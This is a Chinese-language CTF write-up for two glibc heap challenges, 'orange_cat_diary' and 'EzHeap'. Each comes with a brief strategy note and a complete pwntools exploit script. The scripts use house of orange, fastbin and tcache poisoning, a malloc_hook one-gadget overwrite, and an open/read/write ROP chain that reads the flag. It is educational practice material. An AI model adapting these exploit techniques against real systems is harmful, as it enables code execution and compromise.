orange_cat_diary 保护全开,四肢健全,但是free
和show
有次数限制。有uaf漏洞,但是无法保存
因为是glibc 2.23,所以可以利用malloc_hook
跳转到ogg。
但是需要先leak libc_base
,然后还要将堆申请到malloc,所以我们使用house of orange获得第一个free块,用来leak libc。
随后fast bin打malloc_hook上的ogg获得flag
from pwn import *io = process('./orange_cat_diary' ) libc = ELF('libc-2.23.so' ) def add (size,content ): io.recvuntil(b'choice:' ) io.send(b'1' ) io.recvuntil(b':' ) io.sendline(str (size).encode()) io.recvuntil(b':' ) io.send(content) def show (): io.recvuntil(b'choice:' ) io.send(b'2' ) def free (): io.recvuntil(b'choice:' ) io.send(b'3' ) def edit (size,content ): io.recvuntil(b'choice:' ) io.send(b'4' ) io.recvuntil(b':' ) io.sendline(str (size).encode()) io.recvuntil(b':' ) io.send(content) io.sendafter(b"name" ,b'aaaa' ) add(0x68 ,b'aaaa' ) edit(0x70 ,b'a' *0x68 +p64(0xf91 )) add(0x1000 ,b'aaaa' ) add(0x20 ,b'a' *0x8 ) show() malloc_hook = u64(io.recvuntil(b'\x7f' )[-6 :].ljust(8 ,b'\x00' ))-0x678 add(0x68 ,b'a' ) free() edit(0x20 ,p64(malloc_hook-0x23 )) add(0x68 ,b'a' ) add(0x68 ,b'a' ) edit(0x70 ,b'a' *(0x10 +3 )+p64(malloc_hook-libc.sym['__malloc_hook' ]+0xf03a4 )) io.recvuntil(b'choice:' ) io.sendline(b'1' ) io.sendlineafter(b':' ,str (0x20 ).encode()) log.info("malloc_hook is 0x%x" %malloc_hook) io.interactive()
获得flag
EzHeap 保护全开,四肢健全,无uaf,有堆溢出
另外,注意到开了沙盒,所以堆环境很乱
首先将chunk释放到unsorted bin中leak libc_base,随后用同样的方法释放到空的tcache中leak heap_base。
随后 tcache attack 打 envion,将堆块申请到envion
处 leak stack.
最后 tcache attack 打栈上的orw即可获得flag
import sysfrom pwn import *context.log_level='debug' path = './EzHeap' elf=ELF(path) context.arch=elf.arch io=process(path) libc=ELF('./libc.so.6' ) one_gadget=[0x45226 ,0x4527a ,0xf03a4 ,0xf1247 ] def choice (a ): io.sendlineafter('>> ' ,str (a)) def add (a,b ): choice(1 ) io.sendlineafter(':' ,str (a)) io.sendafter('content:' ,b) def edit (a,c,b ): choice(3 ) io.sendlineafter(':' ,str (a)) io.sendlineafter(':' ,str (c)) io.sendafter('content:' ,b) def show (a ): choice(4 ) io.sendlineafter(':' ,str (a)) def delete (a ): choice(2 ) io.sendlineafter(':\n' ,str (a)) add(0x1f8 ,b'aa' ) add(0x4f0 ,b'aa' ) add(0x1f8 ,b'aa' ) delete(1 ) edit(0 ,0x200 ,b'a' *0x200 ) show(0 ) leak=u64(io.recvuntil(b'\x7f' )[-6 :]+b'\x00\x00' ) libc_base=(leak-libc.sym['_IO_2_1_stdin_' ])&0xfffffffffffff000 libc.address=libc_base bin_sh_addr=next (libc.search(b'/bin/sh\x00' )) system_addr=libc.sym['system' ] free_hook_addr=libc.sym['__free_hook' ] edit(0 ,0x240 ,b'a' *0x1f8 +p64(0x501 )) add(0x4f0 ,b'aa' ) edit(0 ,0x340 ,b'a' *0x1f8 +p64(0x101 )+b'\x00' *0xf8 +p64(0x401 )) delete(1 ) edit(0 ,0x200 ,b'a' *0x200 ) show(0 ) io.recvuntil(b'a' *0x200 ) heap_base=u64(io.recv(5 ).ljust(8 ,b'\x00' ))<<12 add(0xf0 ,b'aa' ) edit(0 ,0x240 ,b'a' *0x1f8 +p64(0x21 )+p64(0 )+b'\x00' *0x10 +p64(0x4e1 )) add(0x10 ,b'aaa' ) delete(1 ) edit(0 ,0x240 ,b'a' *0x1f8 +p64(0x21 )+p64((heap_base>>12 )^(libc.sym['environ' ]-0x10 ))+b'\x00' *0x10 +p64(0x4e1 )) add(0x10 ,b'aaa' ) add(0x10 ,b'a' *0x10 ) show(4 ) stack_addr=u64(io.recvuntil(b'\x7f' )[-6 :]+b'\x00\x00' )-(0x758 -0x5f0 ) pay=b'./flag\x00\x00' pop_rax_ret=next (libc.search(asm('pop rax; ret' ))) pop_rdi_ret=next (libc.search(asm('pop rdi; ret' ))) pop_rsi_ret=next (libc.search(asm('pop rsi; ret' ))) pop_rdx_ret=next (libc.search(asm('pop rdx; pop rbx; ret' ))) syscall_ret=next (libc.search(asm('syscall; ret' ))) pay+=p64(pop_rdi_ret)+p64(stack_addr-0x10 ) pay+=p64(pop_rsi_ret)+p64(0 ) pay+=p64(pop_rax_ret)+p64(2 ) pay+=p64(syscall_ret) pay+=p64(pop_rax_ret)+p64(0 ) pay+=p64(pop_rdi_ret)+p64(3 ) pay+=p64(pop_rdx_ret)+p64(0x30 )*2 pay+=p64(pop_rsi_ret)+p64(stack_addr-0x300 ) pay+=p64(syscall_ret) pay+=p64(pop_rax_ret)+p64(1 ) pay+=p64(pop_rdi_ret)+p64(1 ) pay+=p64(pop_rsi_ret)+p64(stack_addr-0x300 ) pay+=p64(syscall_ret) edit(0 ,0x440 ,b'a' *0x1f8 +p64(0x201 )+p64(0 )+b'\x00' *0x1f0 +p64(0x301 )) delete(2 ) delete(1 ) edit(0 ,0x440 ,b'a' *0x1f8 +p64(0x201 )+p64((heap_base>>12 )^(stack_addr-0x10 ))+b'\x00' *0x1f0 +p64(0x301 )) add(0x1f0 ,b'aaaa' ) add(0x1f0 ,pay) success('libc_base:' +hex (libc_base)) success('heap_base:' +hex (heap_base)) success('stack_addr:' +hex (stack_addr)) io.interactive()
获得flag